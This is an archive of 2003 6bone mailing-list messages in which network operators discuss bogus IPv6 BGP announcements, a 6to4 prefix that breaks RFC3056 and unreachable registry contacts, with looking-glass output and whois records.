> non-native English speaker problem, but fyi, the tone of your message was pretty 
> offensive)

That was certainly _not_ my intention. Raising awareness in
these kind of 'problems', which are not really destructive,
goes much better when you don't offend someone and does solve
the problems. The reason for CC'ing the several lists is thus
also for raising awareness, not for laughing at people in
the To: line. I should have bcc'd them. This is a bigger issue
as apparently many ISP's don't filter this prefix, which they
should according to the RFC. Excuses if I offended anyone unintended.
If you can followup in private which wordings you think where
offensive I can alter them next time as indeed I am not a
native english speaker, though I do try to do my best.

Greets,
 Jeroen

ps: cut off everybody except the ml's and bcc'd them now.
Which I should have done in the first place actually...

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From jeroen@unfix.org Fri Sep 12 08:58:46 2003
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Subject: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318, _working_ contacts wanted!
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-----BEGIN PGP SIGNED MESSAGE-----

Checking 3ffe:1300::/24:

http://www.sixxs.net/tools/grh/lg/?find=3ffe:1300::/24

3ffe:1300::/24   2001:1418:1:400::1            12779 6175 762                 IGP 
3ffe:1300::/24   2001:6f8:800::24              4589 2497 6175 762             IGP 
3ffe:1300::/24   2001:890:600:4f0::11          8447 6830 6175 762             IGP 
3ffe:1300::/24   2001:780:0:2::6               12337 6175 762                 IGP 
3ffe:1300::/24   2001:610:25:5062::62          1103 3425 293 6175 762         IGP 
3ffe:1300::/24   2001:610:ff:c::2              1888 1103 11537 145 6175 762   IGP 
3ffe:1300::/24   2001:14d0:a001::1             15516 3257 2497 6175 762       IGP 
3ffe:1300::/24   2001:960::290:6900:1bb:5000   12634 3265 3549 6175 762       IGP 
3ffe:1300::/24   2001:9c0:1:1::2:2             12902 12859 3265 3549 6175 762 IGP 
3ffe:1300::/24   2001:470:1fff:3::3            6939 109 6175 762              IGP 
3ffe:1300::/24   2001:668:0:1:34:49:6900:40    3257 2497 6175 762             IGP 
3ffe:1300::/24   2001:7b8::290:6900:1cc6:d800  12859 3265 3549 6175 762       IGP

3ffe:1300::/24   3ffe:4005:fefe::              25396 1752 12853 10318         unknown 3ffe:1300::/24   2001:6e0::2                   8954 10566 10318               unknown 
3ffe:1300::/24   2001:838:0:10::1              12871 8954 10566 10318         unknown 3ffe:1300::/24   3ffe:4013:4:2::1              25358 1752 12853 10318         unknown 3ffe:1300::/24   2001:8e0:0:ffff::4            8758 9044 5424 10318           unknown 

Who has a _working_ contact for 3ffe:1300::/24, AS 762 and AS 10318 ?

This prefix has been doubly announced for the last couple of months.
And apparently nobody at the above three items have been able to reply
with an explaination or any other notice of being alive.

imswift@nortelnetworks.com which is in the 6bone db for 3ffe:1300::/24,
as the only contact, bounces and seems to not exist at that domain.
swillis@wellfleet.com, which is also the only contact for AS762 doesn't respond.
AS10318 has proven to be ignorant of any email sent to emails listed
in their whois object and have been the possible cause of many ghost routes
and other anomalies in the routing tables.

At the very least:
 - 3ffe:1300::/24 whois object should get working contacts
 - AS762 should update their whois objects.
 - AS10318 should stop announcing this network

Greets,
 Jeroen

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From: Richard Welty <rwelty@averillpark.net>
Subject: Re: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318, _working_ contacts wanted!
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i forwarded this to a nortel contact of mine. he's not in external
routing, but he knows the folks in external routing and has passed it on
an appropriate fashion.

this appears to be old wellfleet stuff that got orphaned in borg/downsize
sequence that nortel went through.

richard
-- 
Richard Welty                                         rwelty@averillpark.net
Averill Park Networking                                         518-573-7592
    Java, PHP, PostgreSQL, Unix, Linux, IP Network Engineering, Security



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On Fri, 12 Sep 2003, Jeroen Massar wrote:

> 2002:c058:6301::/48	192.88.99.1/32	AS786

> 192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
> And you don't own it either, please read RFC3068 and stop that
> foolish announcement. In whois.ripe.net this network is documented:

Whoa there!  Just because a block is anycast doesn't mean it's NOT
routable.  It just means there may be multiple destinations and multiple
routes to those destinations.  Otherwise what use is it?  The RFC has
specific information on restrictions for announcement if you do want to
provide the service to those outside your AS.


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Subject: [6bone] RE: Awareness of breaking RFC3056 with 6to4 more specifics
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-----BEGIN PGP SIGNED MESSAGE-----

Antonio Querubin [mailto:tony@lava.net] wrote:

[cut off long list of people, except ml's]

> On Fri, 12 Sep 2003, Jeroen Massar wrote:
> 
> > 2002:c058:6301::/48	192.88.99.1/32	AS786
> 
> > 192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
> > And you don't own it either, please read RFC3068 and stop that
> > foolish announcement. In whois.ripe.net this network is documented:
> 
> Whoa there!  Just because a block is anycast doesn't mean it's NOT
> routable.  It just means there may be multiple destinations 
> and multiple routes to those destinations.  Otherwise what use is it?

It's for making 2002::/16 reachable, not for making the IPv4 version
reachable over IPv6 ;)

> The RFC has specific information on restrictions for announcement if you 
> do want to provide the service to those outside your AS.

If you where announcing 192.88.99.1/32 you would be right, though
announcing a /32 is really dubieus :)
They _where_ (it got fixed directly) announcing 2002:c058:6301::/48
which really doesn't make any sense. Or are you implying that anyone
can just announce a block out of 192.88.99.0/24 and use it for 6to4?

Announcements of 192.88.99.0/24 should also be backed up
by the relevant entry in the RIPE (or ARIN/LACNIC/APNIC) databases.

Greets,
 Jeroen


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From gert@Space.Net Fri Sep 12 15:40:15 2003
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Hi,

On Fri, Sep 12, 2003 at 10:15:06AM -1000, Antonio Querubin wrote:
> On Fri, 12 Sep 2003, Jeroen Massar wrote:
> 
> > 2002:c058:6301::/48	192.88.99.1/32	AS786
> 
> > 192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
> > And you don't own it either, please read RFC3068 and stop that
> > foolish announcement. In whois.ripe.net this network is documented:
> 
> Whoa there!  Just because a block is anycast doesn't mean it's NOT
> routable.  

Please the section of the RFC about "announcing more specifics of
2002::/16".

The anycast IP address is IPv4 and MUST NOT be visible as 6to4 prefix
(and besides that it doesn't make any sense).

Of course it's appreciated to announce it *in the IPv4 BGP table*.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56833  (55575)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From root@itapac.net Sat Sep 13 11:13:04 2003
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Subject: [6bone] Whois server on the web
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Hi, 
  The issue is not *so* technical, but the interface to the whois database on
  Hexago seems to be higly desynched with the real whois server:
  a record modified about 1 month ago hasn't yet been updated.
  I just think it is pointing to a wrong whois database, but I could be wrong.
  Bye,
  	Alessio
  


From hank@att.net.il Sat Sep 13 11:33:38 2003
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To: "Jeroen Massar" <jeroen@unfix.org>, <6bone@ISI.EDU>
From: Hank Nussbacher <hank@att.net.il>
Subject: Re: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318,
  _working_ contacts wanted!
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At 05:58 PM 12-09-03 +0200, Jeroen Massar wrote:


>AS10318 has proven to be ignorant of any email sent to emails listed
>in their whois object and have been the possible cause of many ghost routes
>and other anomalies in the routing tables.

You've tried all of these?:
aut-num:       AS10318
as-name:       Fibertel
descr:         Fibertel Argentina
admin-c:       FV298-ARIN
tech-c:        FV298-ARIN
import:        from AS13878 accept any
export:        to AS13878 announce any
notify:        fvillanustre@diveo.net.ar
mnt-by:        DIVEO-MNT
changed:       fvillanustre@diveo.net.ar 20011005
source:        LEVEL3

mntner:        DIVEO-MNT
descr:         diveo maint
admin-c:       FV298-ARIN
tech-c:        FV298-ARIN
upd-to:        fvillanustre@diveo.net.ar
mnt-nfy:       fvillanustre@diveo.net.ar
auth:          MAIL-FROM fvillanustre@diveo.net.ar
auth:          MAIL-FROM adm-level3@ipbusiness.net.ar
auth:          MAIL-FROM tec-level3@ipbusiness.net.ar
auth:          MAIL-FROM jtoni@diveo.net.br
auth:          MAIL-FROM abarbieri@diveo.net.br
auth:          MAIL-FROM aacarvalho@diveo.net.br
notify:        fvillanustre@diveo.net.ar
mnt-by:        DIVEO-MNT
changed:       jtoni@diveo.net.br 20020705
source:        LEVEL3

-Hank


>At the very least:
>  - 3ffe:1300::/24 whois object should get working contacts
>  - AS762 should update their whois objects.
>  - AS10318 should stop announcing this network
>
>Greets,
>  Jeroen
>
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From jeroen@unfix.org Sat Sep 13 12:08:54 2003
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Subject: RE: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318,  _working_ contacts wanted!
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Hank Nussbacher [mailto:hank@att.net.il] wrote:

> At 05:58 PM 12-09-03 +0200, Jeroen Massar wrote:
> 
> 
> >AS10318 has proven to be ignorant of any email sent to emails listed
> >in their whois object and have been the possible cause of many ghost routes
> >and other anomalies in the routing tables.
> 
> You've tried all of these?:

Unfortunatly I did and no response over the last
couple of months that I tried it. The mail gets
delivered btw, just no response. :(

Greets,
 Jeroen

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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: <6bone@ISI.EDU>
Subject: RE: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318,  _working_ contacts wanted!
Date: Sat, 13 Sep 2003 20:09:06 -0400
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Hello again from Gregg C Levine
Regarding your contact troubles. It could be, that they are aware of
the problem, and they just don't care. I have seen that happen, with
regards to a collection of issues with spam coming from the Far East,
in a variety of languages. The ISPs involved, just don't care. You can
write to them to complain, but it just keeps coming. Fortunately I've
got aggressive spam filters.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Jeroen Massar
> Sent: Saturday, September 13, 2003 3:09 PM
> To: 'Hank Nussbacher'; 6bone@ISI.EDU
> Subject: RE: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318,
_working_
> contacts wanted!
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hank Nussbacher [mailto:hank@att.net.il] wrote:
> 
> > At 05:58 PM 12-09-03 +0200, Jeroen Massar wrote:
> >
> >
> > >AS10318 has proven to be ignorant of any email sent to emails
listed
> > >in their whois object and have been the possible cause of many
ghost routes
> > >and other anomalies in the routing tables.
> >
> > You've tried all of these?:
> 
> Unfortunatly I did and no response over the last
> couple of months that I tried it. The mail gets
> delivered btw, just no response. :(
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org /
http://unfix.org/~jeroen/
> 
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> 6n
> hHJtdh9FHSKy5wk6eycPBASI
> =MLu9
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Sat Sep 13 17:56:12 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Alessio'" <alessio@itapac.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] Whois server on the web
Date: Sun, 14 Sep 2003 02:56:06 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Alessio wrote:

>   The issue is not *so* technical, but the interface to the whois database on
>   Hexago seems to be higly desynched with the real whois server:
>   a record modified about 1 month ago hasn't yet been updated.
>   I just think it is pointing to a wrong whois database, but 
> I could be wrong.

It might be interresting if you could give an example
of what you actually tried to whois.
Thus handles + servers you tried.

Greets,
 Jeroen

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From tony@lava.net Sat Sep 13 18:33:32 2003
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Subject: [6bone] RE: Awareness of breaking RFC3056 with 6to4 more specifics
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On Fri, 12 Sep 2003, Jeroen Massar wrote:

> Antonio Querubin [mailto:tony@lava.net] wrote:
> 
> [cut off long list of people, except ml's]
> 
> > On Fri, 12 Sep 2003, Jeroen Massar wrote:
> > 
> > > 2002:c058:6301::/48	192.88.99.1/32	AS786
> > 
> > > 192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
> > > And you don't own it either, please read RFC3068 and stop that
> > > foolish announcement. In whois.ripe.net this network is documented:
> > 
> > Whoa there!  Just because a block is anycast doesn't mean it's NOT
> > routable.  It just means there may be multiple destinations 
> > and multiple routes to those destinations.  Otherwise what use is it?
> 
> It's for making 2002::/16 reachable, not for making the IPv4 version
> reachable over IPv6 ;)

Oops.  I thought you were advocating that 192.88.99.0 should never be
announced.  Sorry for the misunderstanding :)


From jeroen@unfix.org Sat Sep 13 18:39:06 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gregg C Levine'" <hansolofalcon@worldnet.att.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] 3ffe:1300::/24 sourced by both 762 and 10318,  _working_ contacts wanted!
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-----BEGIN PGP SIGNED MESSAGE-----

Gregg C Levine wrote:

> Hello again from Gregg C Levine
> Regarding your contact troubles. It could be, that they are aware of
> the problem, and they just don't care. I have seen that happen, with
> regards to a collection of issues with spam coming from the Far East,
> in a variety of languages. The ISPs involved, just don't care. You can
> write to them to complain, but it just keeps coming. Fortunately I've
> got aggressive spam filters.

IMHO if the owner of an ASN is unresponsive that ASN should
be revoked from them.

AS10318 also has a pTLA and they are also violating the
rules under which they where given the pTLA.

One way of taking care of this would be eliminating any
announcement from this ASN and asking the RIR in question
to kindly contact this entity.

Spam is a social problem, routing is a global problem.

Greets,
 Jeroen

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From rain@bluecherry.net Sat Sep 13 19:02:08 2003
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Subject: Re: [6bone] Whois server on the web
From: Ben Winslow <rain@bluecherry.net>
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On Sat, 2003-09-13 at 14:12, Alessio wrote:
> Hi,=20
>   The issue is not *so* technical, but the interface to the whois databas=
e on
>   Hexago seems to be higly desynched with the real whois server:
>   a record modified about 1 month ago hasn't yet been updated.
>   I just think it is pointing to a wrong whois database, but I could be w=
rong.
>   Bye,
>   	Alessio

FWIW, I updated my person record on whois.6bone.net about a week ago
without any problems.

--=20
Ben Winslow <rain@bluecherry.net>

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From jeroen@unfix.org Sun Sep 14 01:43:14 2003
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To: "'Antonio Querubin'" <tony@lava.net>
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-----BEGIN PGP SIGNED MESSAGE-----

Antonio Querubin wrote:

> On Fri, 12 Sep 2003, Jeroen Massar wrote:
> 
> > Antonio Querubin [mailto:tony@lava.net] wrote:
> > 
> > [cut off long list of people, except ml's]
> > 
> > > On Fri, 12 Sep 2003, Jeroen Massar wrote:
> > > 
> > > > 2002:c058:6301::/48	192.88.99.1/32	AS786
> > > 
> > > > 192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
> > > > And you don't own it either, please read RFC3068 and stop that
> > > > foolish announcement. In whois.ripe.net this network is documented:
> > > 
> > > Whoa there!  Just because a block is anycast doesn't mean it's NOT
> > > routable.  It just means there may be multiple destinations 
> > > and multiple routes to those destinations.  Otherwise what use is it?
> > 
> > It's for making 2002::/16 reachable, not for making the IPv4 version
> > reachable over IPv6 ;)
> 
> Oops.  I thought you were advocating that 192.88.99.0 should never be
> announced.  Sorry for the misunderstanding :)

Au contraire mon ami :)

I would rather see more and more ISP's deploy anycast capable 6to4 relays.
They should then at least put the route into their IGP so that clients
employing 6to4 have a fast way out. It would also mean that the ISP
itself has some IPv6 deployment and could be looking into native
connectivity to the rest of the world, both being a good thing.

Greets,
 Jeroen


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From pim@ipng.nl Sun Sep 14 05:03:46 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Antonio Querubin'" <tony@lava.net>, 6bone@mailman.isi.edu,
   users@ipv6.org, v6ops@ops.ietf.org
Subject: Re: [6bone] RE: Awareness of breaking RFC3056 with 6to4 more specifics
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Hi,

| I would rather see more and more ISP's deploy anycast capable 6to4 relays.
| They should then at least put the route into their IGP so that clients
| employing 6to4 have a fast way out. It would also mean that the ISP
| itself has some IPv6 deployment and could be looking into native
| connectivity to the rest of the world, both being a good thing.
Why would you like to see my ISP announcing either 2002::/16 or
192.99.88/24 at all ? You state that you'd like me to put the /24 into
my IGP so my customers 'have a fast way out'. This seems like a good
idea, but I'm still seeing problems with the 2002::/16 thing, where my 
ASn will attract all sorts of IPv6 traffic to the prefix, and then
sending it back out in IPv4 over transit links. I do not really want to
be handling other ASn's IPv4 traffic so I refrain from advertising it
alltogether.

It has been a topic of debate at the ISP I work for, but we chose not to
get involved with 6to4 at all for the moment. It does not seem to
perform all that well, at least not last time I checked.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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Date: Mon, 15 Sep 2003 13:50:20 -0700
From: David Kessens <david@iprg.nokia.com>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Whois server on the web
References: <20030913181221.GA21921@itapac.net>
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Alessio,

On Sat, Sep 13, 2003 at 08:12:21PM +0200, Alessio wrote:
>
>   The issue is not *so* technical, but the interface to the whois database on
>   Hexago seems to be higly desynched with the real whois server:
>   a record modified about 1 month ago hasn't yet been updated.
>   I just think it is pointing to a wrong whois database, but I could be wrong.

Hexago runs a mirrored database. I will ask them to resync their
database and/or investigate whether they have some other problem.

David K.
6bone database maintainer
---

From hansolofalcon@worldnet.att.net Mon Sep 15 18:19:58 2003
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Hello from Gregg C Levine
Has anyone on this list gotten any bounce notices explaining a user,
with the e-mail address of, warlock@jk.homeunix.net , and with the MTA
address coming from postmaster@exchange.csuchico.edu ? I received on
today, it claimed that the person's system wasn't able to successfully
connect to the MTA. And before that, a delayed message from the same
outfit. The reason behind this question is that it concerns a
discussion regarding one of us wanting working contacts. What's funny
is that the message attached to both messages, has my e-mail address
on it, but I know it came via the list. I wonder if it was re-written
by the MTA? I can state that the host for the list is addressed inside
the headers. 
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )





From akarnik@cs.ucf.edu Thu Sep 18 14:47:16 2003
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Hi everyone,
    I recently configured my machine and set up a router to support IPv6. I 
wanted to work on some security related topics with IPv6. Would someone be able 
to suggest me some ?
Regards,
Abhishek Karnik



-------------------------------------------------
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From jeroen@unfix.org Mon Sep 29 02:06:42 2003
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To: <v6ops@ops.ietf.org>, <6bone@ISI.EDU>
Cc: <bence@darmol.elte.hu>
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Subject: [6bone] Unallocated 2001:248::/32 announced by AS 7675 ?
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-----BEGIN PGP SIGNED MESSAGE-----

inet6num:     2001:0200::/23
netname:      APNIC-AP-ALLOCATED-PORTABLES1
descr:        Asia Pacific Network Information Center, Pty. Ltd.
descr:        Regional Internet Registry for the Asia-Pacific Region

This block is *NOT* allocated unless APNIC registry is out of sync:

2001:248::/32   3257 2497 2500 7660 9264 2012 7675  IGP 
2001:248::/32   4589 2497 2500 7660 9264 2012 7675  IGP 
2001:248::/32   15516 3257 2497 2500 7660 9264 2012 7675  IGP 
2001:248::/32   25396 1752 6939 6939 9264 2012 7675  IGP 
2001:248::/32   8954 4555 5609 9264 2012 7675  IGP 
2001:248::/32   12337 3320 5609 9264 2012 7675  IGP 
2001:248::/32 > 6939 6939 9264 2012 7675  IGP 
2001:248::/32   12779 6175 6435 9264 2012 7675  IGP 
2001:248::/32   12902 12859 8954 4555 5609 9264 2012 7675  IGP 
2001:248::/32   25358 6175 6435 9264 2012 7675  IGP 
2001:248::/32   8758 9044 513 9264 9264 2012 7675  IGP 
2001:248::/32   12859 8954 4555 5609 9264 2012 7675  IGP 
2001:248::/32   1888 1103 3425 293 6435 9264 2012 7675  IGP 
2001:248::/32   8447 6830 4555 5609 9264 2012 7675  IGP 
2001:248::/32   12634 3265 3549 6939 6939 9264 2012 7675  IGP 
2001:248::/32   12871 8954 4555 5609 9264 2012 7675  IGP 
2001:248::/32   1103 3425 293 6435 9264 2012 7675  

whois -h whois.nic.ad.jp AS7675 reveals no useful informations though:

Autonomous System Information: [ASESC$B>pJsESC(B]
a. [ASESC$BHV9fESC(B]           7675
b. [ASESC$BL>ESC(B]             ZEBRA
f. [ESC$BAH?%L>ESC(B]           (unknown)
g. [Organization]               Digital Magic Labs, Inc.
m. [ESC$B1?MQ@UG$<TESC(B]       KI340JP
n. [ESC$B5;=QO"MmC4Ev<TESC(B]   KI340JP
o. [AS-IN]                      from AS4691 100 accept ANY
o. [AS-IN]                      from AS4682 100 accept ANY
o. [AS-IN]                      from AS7527 100 accept AS7527
p. [AS-OUT]                     to AS4691 announce AS7675
p. [AS-OUT]                     to AS4682 announce AS7675
p. [AS-OUT]                     to AS7527 announce AS7675
y. [ESC$BDLCN%"%I%l%9ESC(B]
[ESC$B3dEvG/7nF|ESC(B]          1998/04/27
[ESC$BJV5QG/7nF|ESC(B]
[ESC$B:G=*99?7ESC(B]            1999/06/10 13:50:55 (JST)
                                ip-alloc@nic.ad.jp

Anyone having a working contact for this?

Sole "Upstream" is as2012 which is odd as that is hungary
which is kinda a far away land from japan.

aut-num:      AS2012
as-name:      UNSPECIFIED
descr:        ELTENET
descr:        Eotvos Lorand University of Sciences
descr:        Budapest, Hungary
descr:        HU

First admin/tech contact (LV166-RIPE) doesn't have an email
address, second one cc'd.

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

iQA+AwUBP3f2HSmqKFIzPnwjEQKqcACfVudDSrYX0IpqciSXeDCsy5LykQwAliH/
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=R9lS
-----END PGP SIGNATURE-----


From mohacsi@niif.hu Mon Sep 29 03:01:22 2003
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From: Mohacsi Janos <mohacsi@niif.hu>
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Subject: [6bone] Re: Unallocated 2001:248::/32 announced by AS 7675 ?
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Dear All,
	Forwarded your e-mail to Lajos Vonderviszt, who is the technical
leader of ELTENET (AS2012).
	Regards,

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98

On Mon, 29 Sep 2003, Jeroen Massar wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> inet6num:     2001:0200::/23
> netname:      APNIC-AP-ALLOCATED-PORTABLES1
> descr:        Asia Pacific Network Information Center, Pty. Ltd.
> descr:        Regional Internet Registry for the Asia-Pacific Region
>
> This block is *NOT* allocated unless APNIC registry is out of sync:
>
> 2001:248::/32   3257 2497 2500 7660 9264 2012 7675  IGP
> 2001:248::/32   4589 2497 2500 7660 9264 2012 7675  IGP
> 2001:248::/32   15516 3257 2497 2500 7660 9264 2012 7675  IGP
> 2001:248::/32   25396 1752 6939 6939 9264 2012 7675  IGP
> 2001:248::/32   8954 4555 5609 9264 2012 7675  IGP
> 2001:248::/32   12337 3320 5609 9264 2012 7675  IGP
> 2001:248::/32 > 6939 6939 9264 2012 7675  IGP
> 2001:248::/32   12779 6175 6435 9264 2012 7675  IGP
> 2001:248::/32   12902 12859 8954 4555 5609 9264 2012 7675  IGP
> 2001:248::/32   25358 6175 6435 9264 2012 7675  IGP
> 2001:248::/32   8758 9044 513 9264 9264 2012 7675  IGP
> 2001:248::/32   12859 8954 4555 5609 9264 2012 7675  IGP
> 2001:248::/32   1888 1103 3425 293 6435 9264 2012 7675  IGP
> 2001:248::/32   8447 6830 4555 5609 9264 2012 7675  IGP
> 2001:248::/32   12634 3265 3549 6939 6939 9264 2012 7675  IGP
> 2001:248::/32   12871 8954 4555 5609 9264 2012 7675  IGP
> 2001:248::/32   1103 3425 293 6435 9264 2012 7675
>
> whois -h whois.nic.ad.jp AS7675 reveals no useful informations though:
>
> Autonomous System Information: [ASESC$B>pJsESC(B]
> a. [ASESC$BHV9fESC(B]           7675
> b. [ASESC$BL>ESC(B]             ZEBRA
> f. [ESC$BAH?%L>ESC(B]           (unknown)
> g. [Organization]               Digital Magic Labs, Inc.
> m. [ESC$B1?MQ@UG$<TESC(B]       KI340JP
> n. [ESC$B5;=QO"MmC4Ev<TESC(B]   KI340JP
> o. [AS-IN]                      from AS4691 100 accept ANY
> o. [AS-IN]                      from AS4682 100 accept ANY
> o. [AS-IN]                      from AS7527 100 accept AS7527
> p. [AS-OUT]                     to AS4691 announce AS7675
> p. [AS-OUT]                     to AS4682 announce AS7675
> p. [AS-OUT]                     to AS7527 announce AS7675
> y. [ESC$BDLCN%"%I%l%9ESC(B]
> [ESC$B3dEvG/7nF|ESC(B]          1998/04/27
> [ESC$BJV5QG/7nF|ESC(B]
> [ESC$B:G=*99?7ESC(B]            1999/06/10 13:50:55 (JST)
>                                 ip-alloc@nic.ad.jp
>
> Anyone having a working contact for this?
>
> Sole "Upstream" is as2012 which is odd as that is hungary
> which is kinda a far away land from japan.
>
> aut-num:      AS2012
> as-name:      UNSPECIFIED
> descr:        ELTENET
> descr:        Eotvos Lorand University of Sciences
> descr:        Budapest, Hungary
> descr:        HU
>
> First admin/tech contact (LV166-RIPE) doesn't have an email
> address, second one cc'd.
>
> Greets,
>  Jeroen
>
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
>
> iQA+AwUBP3f2HSmqKFIzPnwjEQKqcACfVudDSrYX0IpqciSXeDCsy5LykQwAliH/
> 6Ebw4ECX4VHi7W7+E/UOVj4=
> =R9lS
> -----END PGP SIGNATURE-----
>
>
>

From jeroen@unfix.org Mon Sep 29 03:07:47 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Mohacsi Janos'" <mohacsi@niif.hu>
Cc: <v6ops@ops.ietf.org>, <6bone@ISI.EDU>, <bence@darmol.elte.hu>
Date: Mon, 29 Sep 2003 12:07:47 +0200
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Subject: [6bone] RE: Unallocated 2001:248::/32 announced by AS 7675 ?
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-----BEGIN PGP SIGNED MESSAGE-----

Mohacsi Janos [mailto:mohacsi@niif.hu] wrote:

> Dear All,
> 	Forwarded your e-mail to Lajos Vonderviszt, who is the technical
> leader of ELTENET (AS2012).

Who is the one without the email address in the RIPE registry:

person:       Lajos Vonderviszt
address:      Eotvos Lorand University of Sciences
address:      Center of Information Technologies
address:      Muzeum krt. 4/C
address:      H-1088 Budapest
address:      Hungary
phone:        +36 1 2670820 ext. 2842
phone:        +36 30 561312
fax-no:       +36 1 2668576
nic-hdl:      LV166-RIPE
changed:      gaga@caesar.elte.hu 19971002
source:       RIPE

If he could update that it would have saved a forward
and searching google etc for his email address.

Greets,
 Jeroen

> On Mon, 29 Sep 2003, Jeroen Massar wrote:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > inet6num:     2001:0200::/23
> > netname:      APNIC-AP-ALLOCATED-PORTABLES1
> > descr:        Asia Pacific Network Information Center, Pty. Ltd.
> > descr:        Regional Internet Registry for the Asia-Pacific Region
> >
> > This block is *NOT* allocated unless APNIC registry is out of sync:
> >
> > 2001:248::/32   3257 2497 2500 7660 9264 2012 7675  IGP
> > 2001:248::/32   4589 2497 2500 7660 9264 2012 7675  IGP
> > 2001:248::/32   15516 3257 2497 2500 7660 9264 2012 7675  IGP
> > 2001:248::/32   25396 1752 6939 6939 9264 2012 7675  IGP
> > 2001:248::/32   8954 4555 5609 9264 2012 7675  IGP
> > 2001:248::/32   12337 3320 5609 9264 2012 7675  IGP
> > 2001:248::/32 > 6939 6939 9264 2012 7675  IGP
> > 2001:248::/32   12779 6175 6435 9264 2012 7675  IGP
> > 2001:248::/32   12902 12859 8954 4555 5609 9264 2012 7675  IGP
> > 2001:248::/32   25358 6175 6435 9264 2012 7675  IGP
> > 2001:248::/32   8758 9044 513 9264 9264 2012 7675  IGP
> > 2001:248::/32   12859 8954 4555 5609 9264 2012 7675  IGP
> > 2001:248::/32   1888 1103 3425 293 6435 9264 2012 7675  IGP
> > 2001:248::/32   8447 6830 4555 5609 9264 2012 7675  IGP
> > 2001:248::/32   12634 3265 3549 6939 6939 9264 2012 7675  IGP
> > 2001:248::/32   12871 8954 4555 5609 9264 2012 7675  IGP
> > 2001:248::/32   1103 3425 293 6435 9264 2012 7675
> >
> > whois -h whois.nic.ad.jp AS7675 reveals no useful 
> informations though:
> >
> > Autonomous System Information: [ASESC$B>pJsESC(B]
> > a. [ASESC$BHV9fESC(B]           7675
> > b. [ASESC$BL>ESC(B]             ZEBRA
> > f. [ESC$BAH?%L>ESC(B]           (unknown)
> > g. [Organization]               Digital Magic Labs, Inc.
> > m. [ESC$B1?MQ@UG$<TESC(B]       KI340JP
> > n. [ESC$B5;=QO"MmC4Ev<TESC(B]   KI340JP
> > o. [AS-IN]                      from AS4691 100 accept ANY
> > o. [AS-IN]                      from AS4682 100 accept ANY
> > o. [AS-IN]                      from AS7527 100 accept AS7527
> > p. [AS-OUT]                     to AS4691 announce AS7675
> > p. [AS-OUT]                     to AS4682 announce AS7675
> > p. [AS-OUT]                     to AS7527 announce AS7675
> > y. [ESC$BDLCN%"%I%l%9ESC(B]
> > [ESC$B3dEvG/7nF|ESC(B]          1998/04/27
> > [ESC$BJV5QG/7nF|ESC(B]
> > [ESC$B:G=*99?7ESC(B]            1999/06/10 13:50:55 (JST)
> >                                 ip-alloc@nic.ad.jp
> >
> > Anyone having a working contact for this?
> >
> > Sole "Upstream" is as2012 which is odd as that is hungary
> > which is kinda a far away land from japan.
> >
> > aut-num:      AS2012
> > as-name:      UNSPECIFIED
> > descr:        ELTENET
> > descr:        Eotvos Lorand University of Sciences
> > descr:        Budapest, Hungary
> > descr:        HU
> >
> > First admin/tech contact (LV166-RIPE) doesn't have an email
> > address, second one cc'd.
> >
> > Greets,
> >  Jeroen
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: Unfix PGP for Outlook Alpha 13 Int.
> > Comment: Jeroen Massar / jeroen@unfix.org / 
> http://unfix.org/~jeroen/
> >
> > 
